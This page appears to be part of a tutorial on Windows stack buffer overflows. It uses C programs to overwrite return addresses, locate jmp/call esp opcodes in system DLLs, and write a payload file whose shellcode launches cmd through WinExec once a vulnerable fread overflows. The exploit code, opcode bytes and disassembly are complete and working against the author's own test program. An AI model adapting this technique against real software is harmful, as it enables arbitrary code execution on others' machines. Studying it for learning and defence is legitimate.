The pop ebp is part of the function epilogue. This instruction is required to pop the value of the stack as the value of ebp has been changed in the function routine. The stack now at 12fed0 will facilitate two things on popping the value. The stack will be restored to 12fed4 and the ebp register will now contain 12fed4. The bytes at the current stack position are 19 10 40 00.

 

The ret instruction moves the stack up by 4 to 12fed0 and the eip register will contain 0040101B. Also the control comes back to function abc. Thereafter, the return 5 simply moves the value to eax register and the pop ebp restores the value of ebp register. The stack at 12fed8 now contains the address to jump back to main 0d 10 40 00.

 

Pressing F11 then returns control back to function main and 8 added to the stack move it back to its original position before the function call, 12FED8. The stack on ret becomes 12fedc. 

 

The 4 pops are visible as the compiler had generated code to save the 4 registers on the stack and finally the ret instruction will call the code that called main. Whew.

 

Buffer Overflow.

 

A24.c

main()

{

char a[6];

a[12]='A';

a[13]='B';

a[14]='C';

a[15]='D';

}

 

The array a is created with a size of 6 on the stack. Though the size is 6, it is allocated 8 bytes. Also, four bytes above this array i.e. a[8] to a[11] is the ebp register and above these 4 bytes will be the return address.

 

The program overwrites the return value with the hex values 0x41 to 0x44. As a result, when function main returns, it pops the value 0x44434241 into eip and the system mechanically tries to execute the code present at this location.

 

There is obviously no valid code present there and thus an Application error showing bad memory location is emitted. Windows does not permit anyone to reference memory that is not assigned to it.

 

The main objective of this program is to emphasis the fact that the return address is susceptible to a hijack.

 

A25.c

main()

{

char a[3];

strcpy(a,"AAAAAAAABCDE");

}

 

There is not one way to skin a cat. This program takes a different approach to overwrite the return address. As the array a is the first and only variable, 8 bytes above it is the return address. The strcpy function does no bounds checking on the size of the array, thus using this function, the return address is overwritten with 0x45444342. What follows next is already seen in the previous program.

 

A26.c

#include <windows.h>

main()

{

unsigned char *p ;

//p = LoadLibrary("kernel32.dll");

p = LoadLibrary("user32.dll");

 

printf("Dll Loaded at %p\n",p);

while ( 1 )

{

if ( p[0] == 0xff && p[1] == 0xe4)

printf("Found opcode jmp at %p\n",p);

if ( p[0] == 0xff && p[1] == 0xD4)

printf("Found opcode call at %p\n",p);

p++;

}

}

 

Output

Kernel32.dll

Dll Loaded at 77E80000

Found opcode call at 77E8250A

Error box

 

User32.dll

Dll Loaded at 77E10000

Found opcode jmp at 77E2492B

Found opcode call at 77E27741

Found opcode jmp at 77E3AF64

Error box

 

The LoadLibrary function loads the dll in memory. Since this dll is already loaded, it does not get reloaded but its address in memory is returned. Windows 2000 with service pack 2 gives a value of 77e10000 whereas for kernel32 it gives an address of 77e80000.

 

Once the dll is present in memory, the program now attempts to locate the bytes ff e4 or ff d4 in this area. These bytes for the intel assembler represent jump esp and call esp. Both these instruction run code at the address specified by the esp register. Thus, code present at the address on the stack is executed.

 

If you wish to see the program in its disassembled mode, give the command as

>cl /FAcs a.c > zz.txt

 

This program is a further improvement on the above one where the system runs our code.

 

A27.c

#include <stdio.h>

main()

{

FILE *fp;

fp = fopen("q10.txt","wb");

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc(0x0a,fp);

fputc(0x25,fp);

fputc(0xe8,fp);

fputc(0x77,fp);

fputc(0xcc,fp);

fclose(fp);

}

 

A file called q10.txt is opened in binary mode for writing. The mode is set to binary in order to avoid any special interpretation of numbers while writing to the file. Using the function fputc, which takes a character and the file pointer, 8 A’s are written on to disk.

 

Once the characters are written, some hex characters are inserted. If you watch closely, it is the address found in user32.dll from the earlier program wherein the bytes represent the jump esp instruction. Since ours is an intel machine, the address is written with the smallest bytes first. Once done, the op code 0xcc for the int 3 breakpoint instruction is inserted.

 

A28.c

#include <stdio.h>

FILE *fp;

main()

{

char a[4];

fp = fopen("q10.txt","rb");

fread(a,100,1,fp);

__asm

{

int 3

}

}

 

The above program is a sequel to the previous one. It opens the file q10.txt and then reads the next 100 bytes into an array a. However, since the array is only 4 bytes large only 4 bytes are allocated to the array. Thus the first 4 A’s will be saved in the allocated array memory and thereafter the saved value of register ebp gets overwritten by the next 4 A’s.

 

After the 8 bytes is the address of the call esp op code which will overwrite the saved eip on the stack. Lastly, the op code CC is put on the stack. The fread function in one go places all these bytes on the stack without realizing that it is overwriting the existing instruction

 

As per the stack, when the main function returns, the value pushed into eip will be that of kernel32.dll i.e. 77e8250a. Due to this, the system jump to this location to execute instructions. What it finds here is the op codes ff d4. These op codes get interpreted as call esp. The stack however is now pointing to op code cc. Thus, the system jumps back to the stack and executes the break point interrupt.

 

We have deliberately placed the int 3 instruction after the fread function but before the closing brace. The end-result is that the above program, on executing moves into the debugging mode.

 

The compiler at the start pushes the registers edi, esi and ebx on the stack, thus they are being popped off. Then the stack is restored back in esp and ebp is popped off the stack. The contents of the stack at the pop ebp instruction look like.

 

Before stack 41 41 41 41 

Stack Value  41 41 41 41 0A 25 E8 77 CC

 

The values 41 41 41 41 get placed into ebp and at the ret the stack is pointing to the address 0a 25 e8 77. 

 

77E8250A FF D4                call        esp

 


 


On pressing F10, the code in kernel32.dll gets executed where the call esp instruction is clearly visible. The stack pointer has a value 0012feec. At this address, the value present is 0xcc, which is clearly visible in the stack window. Pressing F10 places this value 0012feec into the eip register and the breakpoint interrupt gets called.

 

Let’s understand the significance of the above code.

 

All programs read from a file on disk into a buffer in memory. This file redirects the eip register to hold an address in memory that contains the call esp instruction. The execution of this code, on the other hand, jumps back to the stack where it executes code that comes from the disk file. In short, by causing a buffer overflow, the stack has been manipulated to execute code from a file on disk. At present, this code is simply an int 3 instruction.

 

d.c

#include <stdio.h>

main()

{

FILE *fp;

fp = fopen("q10.txt","wb");

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc(0x0a,fp);

fputc(0x25,fp);

fputc(0xe8,fp);

fputc(0x77,fp);

fputc(0x55,fp);

fputc(0x8b,fp);

fputc(0xec,fp);

fputc(0x51,fp);

fputc(0xc7,fp);

fputc(0x45,fp);

fputc(0xfc,fp);

fputc(0x63,fp);

fputc(0x6d,fp);

fputc(0x64,fp);

fputc(0x00,fp);

fputc(0x6a,fp);

fputc(0x05,fp);

fputc(0x8b,fp);

fputc(0xc5,fp);

fputc(0x83,fp);

fputc(0xe8,fp);

fputc(0x04,fp);

fputc(0x50,fp);

fputc(0xb8,fp);

fputc(0xAF,fp);

fputc(0xA7,fp);

fputc(0xE9,fp);

fputc(0x77,fp);

fputc(0xff,fp);

fputc(0xd0,fp);

fputc(0x6a,fp);

fputc(0x00,fp);

fputc(0xb8,fp);

fputc(0x94,fp);

fputc(0x8f,fp);

fputc(0xE9,fp);

fputc(0x77,fp);

fputc(0xff,fp);

fputc(0xd0,fp);

fclose(fp);

}

 

d1.c

#include <windows.h>

#include <stdio.h>

FILE *fp;

int _stdcall WinMain(HINSTANCE  i , HINSTANCE  j , char *k, int l)

{

abc();

}

int abc()

{

char a[4];int i1;

fp = fopen("q10.txt","rb");

fread(a,100,1,fp);

__asm

{

int 3

}

}

 

d3.c

#include <windows.h>

main()

{

HANDLE h;

void *p;

h = LoadLibrary("kernel32.dll");

p = GetProcAddress(h,"WinExec");

printf("WinExec %x\n",p);

p = GetProcAddress(h,"ExitProcess");

printf("ExitProcess %x\n",p);

}

 

Output

> d3

WinExec 77e9a7af

ExitProcess 77e98f94

 

>cl d.c

>d

 

>cl d1.c

>d1

 

0012FF34 55                   push        ebp

0012FF35 8B EC                mov         ebp,esp

0012FF37 51                   push        ecx

0012FF38 C7 45 FC 63 6D 64 00 mov         dword ptr [ebp-4],646D63h

0012FF3F 6A 05                push        5

0012FF41 8B C5                mov         eax,ebp

0012FF43 83 E8 04             sub         eax,4

0012FF46 50                   push        eax

0012FF47 B8 AF A7 E9 77       mov         eax,77E9A7AFh

0012FF4C FF D0                call        eax

0012FF4E 6A 00                push        0

0012FF50 B8 94 8F E9 77       mov         eax,77E98F94h

0012FF55 FF D0                call        eax

 

The first instruction visible on the screen is the breakpoint interrupt CC. Then either you see a leave instruction or the op code 55 which is push ebp. One of the many reasons of pushing a register on the stack is to restore the original value at the end of the code because the value in it is likely to change. A simple rule in assembler is to restore all the changed registers to their original value. The next instruction as per the output replaces the contents of the ebp register with that of esp. Since esp is the stack indicator, each time a value is pushed or popped on the stack, its value changes . Thus by saving a copy of esp in ebp (ebp remains unchanged), we now have a reference to the original stack position before the code is called.  The leave instruction does the same job internally.

 

These instructions thus give a fixed reference point of the stack in order to reference values on it. Also, when the code ends, the stack can be restored to its original value by simply popping the ebp register,

 

First, the value in ecx register is pushed on the stack. At present, the value is of no importance so we safely ignore it. Since the value is pushed on the stack, 4 memory locations have been allocated as well as the stack moves down by 4. Thus to reference this value, we have to use ebp-4. Then, the string cmd is to be placed on the stack. For this purpose, the mov instruction is used which copies the ASCII values of c, m and d 63,6d and 64 on the stack at ebp-4. Being a little endian machine, the 63h or c comes last.

 

The square brackets in assembler represent a pointer. For eg, if ebp had a value 100, then cmd would be stored at locations 96 onwards. It for these reasons, the 4 bytes were allocated on the stack cause, in assembler one is not allowed to write anywhere, it must be the memory that has been previously allocated.

 

The WinExec function takes two parameters, the name of the program to be executed and the initial mode the window should be opened in, A value of 5 means normal. So, first 5 is pushed on the stack as the parameters go in the reverse way and then the address of where the string cmd in memory is given. In our case, it is ebp-4.

 

To simplify this task, first ebp is moved into eax, then 4 is subtracted from it. This value is the pushed on the stack. Finally the function WinExec is to be called which will execute the program.

 

This function is present in kernel32.dll and since the dll is already in memory, we simply need to find the location of the function code in memory. However, first function LoadLibrary is used to find the address of kernel32.dll, and then using GetProcAddress, the address of WinExec functions in memory is obtained.

 

Once the value is obtained, using the mov instruction, the value is moved into the eax register. The call has the op code B8 followed by the address in memory of our function.

 

The address of function WinExec is 77e9a7af as displayed by program d3. This value of WinExec may change with every new version of Windows and with every new release of service pack that’s why it is advisable not to hard code it. Here however while we are learning, we move this address into the eax register and then use the instruction call eax to call the code of WinExec. This creates a new copy of the DOS console.

 

Once done, its time to clean the mess. Every program under Windows calls the function ExitProcess whenever it quits out. This address is again retrieved in the same manner as Winexec and program d3 displays its value. A value of 0 is first placed on the stack, and then address of ExitProcess is placed in eax. Finally the op code for call eax is given.

 

The above program for some reason does not work on all machines, therefore a similar logic has been used with user32.dll. However, since the dll does not get loaded by default, we use one of the functions, ‘MessageBox’ from the dll. Once done, the address of the jmp esp instruction is feeded in the text file in place of call esp. Other than these modifications, the program remains just about the same.

 

d.c

#include <stdio.h>

main()

{

FILE *fp;

fp = fopen("q10.txt","wb");

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc('A',fp);

fputc(0x0b,fp);

fputc(0xa9,fp);

fputc(0xf5,fp);

fputc(0x77,fp);

fputc(0x55,fp);

fputc(0x8b,fp);

fputc(0xec,fp);

fputc(0x51,fp);

fputc(0xc7,fp);

fputc(0x45,fp);

fputc(0xfc,fp);

fputc(0x63,fp);

fputc(0x6d,fp);

fputc(0x64,fp);

fputc(0x00,fp);

fputc(0x6a,fp);

fputc(0x05,fp);

fputc(0x8b,fp);

fputc(0xc5,fp);

fputc(0x83,fp);

fputc(0xe8,fp);

fputc(0x04,fp);

fputc(0x50,fp);

fputc(0xb8,fp);

fputc(0xAF,fp);

fputc(0xA7,fp);

fputc(0xE9,fp);

fputc(0x77,fp);

fputc(0xff,fp);

fputc(0xd0,fp);

fputc(0x6a,fp);

fputc(0x00,fp);

fputc(0xb8,fp);

fputc(0x94,fp);

fputc(0x8f,fp);

fputc(0xE9,fp);

fputc(0x77,fp);

fputc(0xff,fp);

fputc(0xd0,fp);

fclose(fp);

}

 

d1.c

#include <windows.h>

#include <stdio.h>

FILE *fp;

main()

{

abc();

}

int abc()

{

char a[4];int i1;

MessageBox(0,"hi","hi",0);

fp = fopen("q10.txt","rb");

fread(a,100,1,fp);

__asm

{

int 3

}

}

 

>cl d.c

>d

 

>cl d1.c user32.lib

>d1

 

 

Back to the main page